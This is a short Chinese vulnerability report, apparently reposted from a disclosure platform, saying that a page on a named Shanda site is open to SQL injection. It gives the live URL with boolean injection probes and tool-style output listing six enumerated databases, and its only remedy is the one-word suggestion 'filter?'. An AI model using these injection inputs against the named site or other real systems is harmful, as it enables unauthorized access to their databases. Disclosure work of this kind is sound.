首页 » 漏洞 » 盛大某站存在SQL注入

盛大某站存在SQL注入

 

盛大某站存在SQL注入

http://grandcloud.sdo.com/optool/index.php?r=ajax/QueryAreaList&serviceId=2 and 1=1

盛大某站存在SQL注入

http://grandcloud.sdo.com/optool/index.php?r=ajax/QueryAreaList&serviceId=2 and 1=2

available databases [6]:

[*] ACCT

[*] CUST

[*] LQT

[*] NINA

[*] SYS

[*] SYSTEM

漏洞证明:

盛大某站存在SQL注入

盛大某站存在SQL注入

修复方案:

过滤乎?

原文链接:盛大某站存在SQL注入,转载请注明来源!

0